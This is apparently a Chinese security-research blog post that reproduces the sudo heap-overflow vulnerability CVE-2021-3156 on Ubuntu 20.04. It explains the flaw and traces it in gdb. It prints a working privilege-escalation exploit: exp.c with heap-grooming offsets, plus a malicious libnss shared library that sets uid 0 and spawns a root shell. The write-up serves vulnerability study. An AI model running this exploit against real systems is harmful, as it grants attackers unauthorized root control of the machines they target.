0%

CVE-2021-3156

CVE-2021-3156 sudo 提权漏洞,复现过程总结

复现环境

  • 系统:Ubuntu 20.04
  • sudo: sudo-1.8.31

源码下载:https://mirrors.ustc.edu.cn/ubuntu/pool/main/s/sudo/sudo_1.8.31.orig.tar.gz

漏洞分析

可以参照一下官方的修复方式:
https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8

找到 1.8.31 版本源码的漏洞位置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//plugins/sudoers/sudoers.c
//set_cmnd()

......

819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

......
845
846 /* set user_args */
847 if (NewArgc > 1) {
848 char *to, *from, **av;
849 size_t size, n;
850
851 /* Alloc and build up user_args. */
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
859 /*
860 * When running a command via a shell, the sudo front-end
861 * escapes potential meta chars. We unescape non-spaces
862 * for sudoers matching and logging purposes.
863 */
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
872 *--to = '\0';
873 } else

......

在 set_cmnd 函数,看到 866 行处,以 \ 开头下一个字符不是空格,那么就认为是转义字符,from++ 跳过字符 \,但是没有考虑到下一个字符是 \0 的情况,如果下一个字符是 \0,那么 *to = *from++ 就写入 \0 字符,下一次循环条件判断成立,则继续往 user_args 里面写入数据,而 user_args 是在 852-854 行处使用 malloc 分配的一个堆块,这就可以造成一个堆溢出的漏洞

最后一个参数后面就是环境变量的位置,所以只要最后一个参数以一个 \ 结尾,那么就可以通过控制环境变量,堆溢出写入任意数据

同时看到 819 行处,触发漏洞需要设置 MODE_RUNMODE_EDITMODE_CHECK 中的一个,858 行处,要求设置 MODE_SHELLMODE_LOGIN_SHELL

想要触发漏洞,还要先看看下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//src/parse_args.c
//parse_args()
......
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572 char **av, *cmnd = NULL;
573 int ac = 1;
574
575 if (argc != 0) {
576 /* shell -c "command" */
577 char *src, *dst;
578 size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
579 strlen(argv[argc - 1]) + 1;
580
581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
582 if (cmnd == NULL)
583 sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
584 if (!gc_add(GC_PTR, cmnd))
585 exit(1);
586
587 for (av = argv; *av != NULL; av++) {
588 for (src = *av; *src != '\0'; src++) {
589 /* quote potential meta characters */
590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591 *dst++ = '\\';
592 *dst++ = *src;
593 }
594 *dst++ = ' ';
595 }
596 if (cmnd != dst)
597 dst--; /* replace last space with a NUL */
598 *dst = '\0';
599
600 ac += 2; /* -c cmnd */
601 }

......

在处理命令行参数的时候,设置了 MODE_RUNMODE_SHELL 的情况下,会对命令行参数进行重写,把所有元字符包括 \ 都转义了,也就是单个反斜杠变成了两个反斜杠,导致后面的漏洞无法触发

总结一下:

  1. MODE_RUNMODE_SHELL 不能都设置,因为在 sudo 程序的 parse_args 函数里会对反斜杠进行转义,导致漏洞无法触发
  2. 触发漏洞需要设置 MODE_RUNMODE_EDITMODE_CHECK 中的一个,同时要设置 MODE_SHELLMODE_LOGIN_SHELL

那么 MODE_RUN 是不可以设置的,因为一旦设置 MODE_RUN,触发漏洞条件需要 MODE_SHELL,而 MODE_RUNMODE_SHELL 同时存在会导致 parse_args 对反斜杠进行转义,导致漏洞无法触发

那么就要设置 MODE_EDIT 或者 MODE_CHECK,同时不能设置 MODE_RUN

设置 MODE_EDIT 使用 -eMODE_LOGIN_SHELL 使用 -iMODE_SHELL 使用 -s,对应源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//src/parse_args.c

......
358 case 'e':
359 if (mode && mode != MODE_EDIT)
360 usage_excl(1);
361 mode = MODE_EDIT;
362 sudo_settings[ARG_SUDOEDIT].value = "true";
363 valid_flags = MODE_NONINTERACTIVE;
364 break;

......
402 case 'i':
403 sudo_settings[ARG_LOGIN_SHELL].value = "true";
404 SET(flags, MODE_LOGIN_SHELL);
405 break;

......
460 case 's':
461 sudo_settings[ARG_USER_SHELL].value = "true";
462 SET(flags, MODE_SHELL);
463 break;

......

MODE_CHECK 在这里设置,使用 -l

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//src/parse_args.c

......
416 case 'l':
417 if (mode) {
418 if (mode == MODE_LIST)
419 SET(flags, MODE_LONG_LIST);
420 else
421 usage_excl(1);
422 }
423 mode = MODE_LIST;
424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425 break;

......
518 if (argc > 0 && mode == MODE_LIST)
519 mode = MODE_CHECK;

......

那么有以下几种选择:

  1. -s -e
  2. -i -e
  3. -s -l
  4. -i -l

但是,-e-l,都会导致 valid_flags 的改变,最后在 532 行处,导致程序退出,所以上面的 4 种方式都无效

1
2
3
4
5
6
7
8
9
10
11
12
13
//src/parse_args.c

......
127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)

......
249 int valid_flags = DEFAULT_VALID_FLAGS;

......
532 if ((flags & valid_flags) != flags)
533 usage(1);

......

查看源码还发现一处地方:

1
2
3
4
5
6
7
8
9
10
//src/parse_args.c

......
268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269 progname = "sudoedit";
270 mode = MODE_EDIT;
271 sudo_settings[ARG_SUDOEDIT].value = "true";
272 }

......

当程序的名字是 sudoedit 时,会设置 MODE_EDIT,而不会去修改 valid_flags,那么就可以达成漏洞利用的条件,这就是 poc 和目前已公开的 exp 都使用 sudoedit 而不适用 sudo 的原因

那么只需要用 sudoedit -s xxx,就可以设置 MODE_EDITMODE_SHELL,而不设置 MODE_RUN

调试分析

调试前准备

使用源码编译的程序进行调试,编译后创建一个链接 sudoedit 到 sudo,或者改名 sudo 为 sudoedit(ubuntu 中的 sudoedit 其实是 sudo 的一个软链接),权限改为 root,并加上 sid 权限

poc

为了更好操控 sudo 程序的环境变量,采用 execve 函数来执行 sudoedit,这里写一个 poc.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//poc.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_ENVP 0x1000

char *envp[MAX_ENVP];

int main(int argc, const char * const argv[]) {
char a1[65536];
memset(a1, 'A', 65535);
a1[65535] = '\x00';


char *s_argv[] = { //命令行参数
"sudoedit", "-s", "\\", a1, NULL
};

int envp_pos = 0;
envp[envp_pos++] = NULL; //环境变量

execve("/path/to/sudoedit", s_argv, envp);

return 0;
}

调试开始

使用 sudo gdb ./poc,执行 catch exec 跟踪 execve,r 命令运行

setlocale 是 sudo 程序开头调用的函数,在这下断点,断下后 finish 即可进入 sudo 的 main 函数

entry

要注意的是,进入 main 函数后,最好删除 setlocale 的断点,以免后续的调用影响跟踪调试

使用 b 213 下断点在 213 行处:

1
2
3
4
5
6
......
212 /* Load plugins. */
213 if (!sudo_load_plugins(&policy_plugin, &io_plugins))
214 sudo_fatalx(U_("fatal error, unable to load plugins"));

......

n 命令步过,加载完 sudoers.so 库后,使用命令 b set_cmnd 在 set_cmnd 函数下断点,c 继续运行,来到断点处,并在 854 行下断点,继续运行

1
2
3
4
5
6
7
......
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }

......

user_args 的大小为 0x10002 即 65538 ("\\" + "A" * 65535 + 2),并记录 user_args 的 chunk 地址为 0x55555558faa0

user_args_size
user_args

跟踪来到漏洞点处:

user_args

来到 870 处:

870

此时可以发现没有溢出,因为此时只复制了反斜杠字符后面的 \0,以及后面的 65535 个 A,本身 chunk 的大小是足够的

但是,for 循环继续运行,"A" * 65535 又开始继续往后覆盖,此时溢出就出现了

overwrite

可以看到,溢出把下一个 chunk 的 size 字段都改了,后面 malloc 的时候触发 abort,导致程序异常退出了

漏洞利用

此时可以知道几点:

  1. user_args 的大小可以由命令行参数控制
  2. 命令行参数中出现单个反斜杠字符结尾,则会导致堆溢出
  3. 若单个反斜杠结尾出现在最后一个命令行参数,那么溢出的内容就是紧接着的环境变量,完全可控
  4. 单个反斜杠结尾的命令行参数或者环境变量都能往 chunk 写入 \0

NSS(Name Service Switch)

目前公开的 exp 大都利用了 NSS(Name Service Switch)机制,这里简述 NSS 的机制

首先是根据 /etc/nsswitch.conf 内容(例如下面这个),初始化链式的 name_database_entry 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd: files systemd
group: files systemd
shadow: files
gshadow: files

hosts: files dns
networks: files

protocols: db files
services: db files
ethers: db files
rpc: db files

netgroup: nis

name_database_entry 结构体定义如下:

1
2
3
4
5
6
7
8
9
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;

name 字段就是 groupshadow 这些字符串,然后以 next 字段链接起来形成链表

后面的 files systemd 是 service_user 结构体的 name 字段,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;

需要使用服务的时候,如果库未加载,则会调用 nss_load_library 函数加载动态链接库

在 set_cmnd 函数结束后,sudoers_lookup 会调用 nss_load_library 函数,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
//glibc/nss/nsswitch.c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
# ifdef USE_NSCD
else if (is_nscd)
{
/* Call the init function when nscd is used. */
size_t initlen = (5 + strlen (ni->name)
+ strlen ("_init") + 1);
char init_name[initlen];
/* Construct the init function name. */
__stpcpy (__stpcpy (__stpcpy (init_name,
"_nss_"),
ni->name),
"_init");
/* Find the optional init function. */
void (*ifct) (void (*) (size_t, struct traced_file *))
= __libc_dlsym (ni->library->lib_handle, init_name);
if (ifct != NULL)
{
void (*cb) (size_t, struct traced_file *) = nscd_init_cb;
# ifdef PTR_DEMANGLE
PTR_DEMANGLE (cb);
# endif
ifct (cb);
}
}
# endif
}
return 0;
}

最主要的是,当 ni->library->lib_handle == NULL 成立后,会执行 dlopen 加载动态链接库:

1
2
3
4
5
6
7
8
9
10
11
......
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);

......

前面有 ni->library == NULL 时执行 nss_new_service 返回的 library->lib_handle 就是 NULL

且 service_user 结构体刚好在堆上,只要溢出覆盖一个 service_user 结构体,伪造 name 字段为 X/Xlibrary 字段为 NULL,那么后续调用 nss_load_library 时就会调用 __libc_dlopen("libnss_X/X.so.xx") 加载自己写的动态链接库

只要动态链接库写个 constructor 函数,执行 shell,即可提权

这里有一点,大部分文章都没提到(也可能是默认大家都知道了):为什么一定要覆盖 nameX/X 的形式,而不是 X 的形式?

这可以从 dlopen 的 man 手册中找到答案:

1
2
3
4
5
6
......
If filename is NULL, then the returned handle is for the main program. If filename contains a slash ("/"), then it is
interpreted as a (relative or absolute) pathname. Otherwise, the dynamic linker searches for the object as follows
(see ld.so(8) for further details):

......

大概意思是,filename 参数只有存在 / 的时候,才会有可能被当作相对路径,没有 / 的时候,会去 PATH 等环境变量指向的地方找对应的库文件,为了方便,使用相对路径的方式,所以使用 X/X 的形式

service_user 结构体分布

gdb 上使用 search -s systemd 可以找到 service_user 等结构体

service_user

可以看到 passwd 的 name_database_entry,的 service 字段指向了一条链表,链表上是 files -> systemd 的 service_user 结构体

那么只要覆盖这两个 service_user 中的一个就可以了,覆盖后面的 service_user 可能会同时把前面的 service_user 也覆盖了,破坏了链表就不行了,所以选择覆盖前面的那个 service_user,同时不能把前面的 name_database_entry 结构体也破坏了

实际情况下,在漏洞点之前会先后从堆上分配下面这些结构体:

1
2
3
4
5
6
7
passwd(name_database_entry)
files(service_user)
systemd(service_user)
group(name_database_entry)
files(service_user)
systemd(service_user)
...

只要 user_args 位于 name_database_entry 和 service_user 之间,即可覆盖 service_user 而不会破坏 name_database_entry 了

堆布局

通过调试发现,在我的复现环境下,一般情况下 user_args 都位于 service_user 之后,根据目前公开的方式,利用程序开头的 setlocale 函数,对 LC_MESSAGESLC_ALL 等环境变量,都会有多次的堆块分配与释放,影响堆块布局的情况,使得 user_args 分配时,得到的刚好是 setlocale 中 free 进 tcache 的 chunk,因为 setlocale 函数的调用在 service_user 等结构体分配之前,那么 user_args 就能分布在 service_user 结构体之前

比如,环境变量使用 LC_ALL=C.UTF-8@AAAA@ 字符后面的 AAAA 将会在 setlocale 里分配 chunk 进行存储,之后会释放

调试

经过多次测试,exp 如下,下面使用这个 exp 进行一下调试,说明为什么要这么写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//exp.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_ENVP 0x1000
#define LC_ENV1 "LC_ALL=C.UTF-8@"
#define LC_ENV2 "LC_CTYPE=C.UTF-8@"

char *envp[MAX_ENVP];

int main(int argc, const char * const argv[]) {
char paddingA[0x200] = { 0 };
memset(paddingA,'A',0x190-2);
paddingA[0x190-2] = '\\';
char *s_argv[] = {
"sudoedit", "-s", paddingA, NULL
};

int envp_pos = 0;
for (int i = 0; i < 0xb10-0x190+1; i++){
envp[envp_pos++] = "\\";
}

for (int i = 0; i < 0x30; i++) {
envp[envp_pos++] = "\\";
}

envp[envp_pos++] = "x/i4oyu"; //name
envp[envp_pos++] = "AAA";

char *LC1 = calloc(0x1000, 1);
strcpy(LC1, LC_ENV1);
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);

/*
char *LC2 = calloc(0x1000, 1);
strcpy(LC2, LC_ENV2);
memset(LC2 + sizeof(LC_ENV2) - 1, 'Y', 0x90);
*/

envp[envp_pos++] = LC1;
//envp[envp_pos++] = LC2;
envp[envp_pos++] = 0;

execve("/path/to/sudoedit", s_argv, envp);
//execve("/usr/bin/sudoedit", s_argv, envp);

return 0;
}

首先看到这里

1
2
3
4
5
6
......
char *LC1 = calloc(0x1000, 1);
strcpy(LC1, LC_ENV1);
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);

......

调试来到 user_args 分配前,查看 heap 情况,存储 0xc0 个 X 的 chunk 在这里:

heap

同时也可以看到,这个 chunk 的大小并不是 0xc0,而是比 0xc0 要大得多的 0x1a0,和参考的一些文章的说法不太一样

同时可以看到这个 0x1a0 的 chunk 位于 name_database_entry 和 service_user 之间:

user_args_chunk

注意:实际上 set_cmnd 调用后,会从 group 的 name_database_entry 开始查找 service_user 结构体进行 nss_load_library 的调用,所以图中使用的是 group 的链

exp 这里的 0x190-2 就是为了控制命令行参数的长度,使得 user_args 的分配调用 malloc(0x190) 从而分配到上面提到的 chunk:

1
2
3
4
5
......
char paddingA[0x200];
memset(paddingA,'A',0x190-2);
paddingA[0x190-2] = '\\';
......

溢出点到要覆盖 service_user 的偏移为 +0xb10:

len

命令行参数本身有 0x190-1 长的数据复制进了 to,那么只需要连续 0xb10 - 0x190 + 1 多的反斜杠即可连续写入 \0,直到目标 service_user 结构体,再继续覆写 0x30 长度的数据,即可到达 name 字段,这就是对下面这部分代码的解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
......
int envp_pos = 0;
for (int i = 0; i < 0xb10-0x190+1; i++){
envp[envp_pos++] = "\\";
}

for (int i = 0; i < 0x30; i++) {
envp[envp_pos++] = "\\";
}

envp[envp_pos++] = "x/i4oyu"; //name
envp[envp_pos++] = "AAA";

......

这里覆盖 namex/xi4oyu,那么需要编译一个动态链接库 libnss_x/xi4oyu.so.2 ,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//mkdir libnss_x && gcc -fPIC -shared -o 'libnss_x/i4oyu.so.2' xi4oyu.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
printf("[!!!] pwn!\n");
setuid(0);
seteuid(0);
setgid(0);
setegid(0);

static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
}

利用成功!

pwn

小结

堆布局的方式比较复杂,其中这一句:

1
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);

至于 0xc0 这个值是怎么来的?本人是 从 0 开始间隔 0x10 递增,观察堆的情况,一步步地测出来的

目前公开的文章也并没有做一个很好的解释,具体怎么回事,还是得跟踪调试 setlocale 的每一次 malloc 和 free 的调用了,写得比较好的 exp 是 blasty 的 exp,其中提供了一个爆破脚本,就是为了测出这个合适的值

总结

这是我接触的第一个 CVE,漏洞原理相对还是比较简单的,从中也学到了 NSS 这个十分有意思的机制

最近在学 v8 的漏洞利用,下一次复现的就是 v8 的 CVE 了,加油!

参考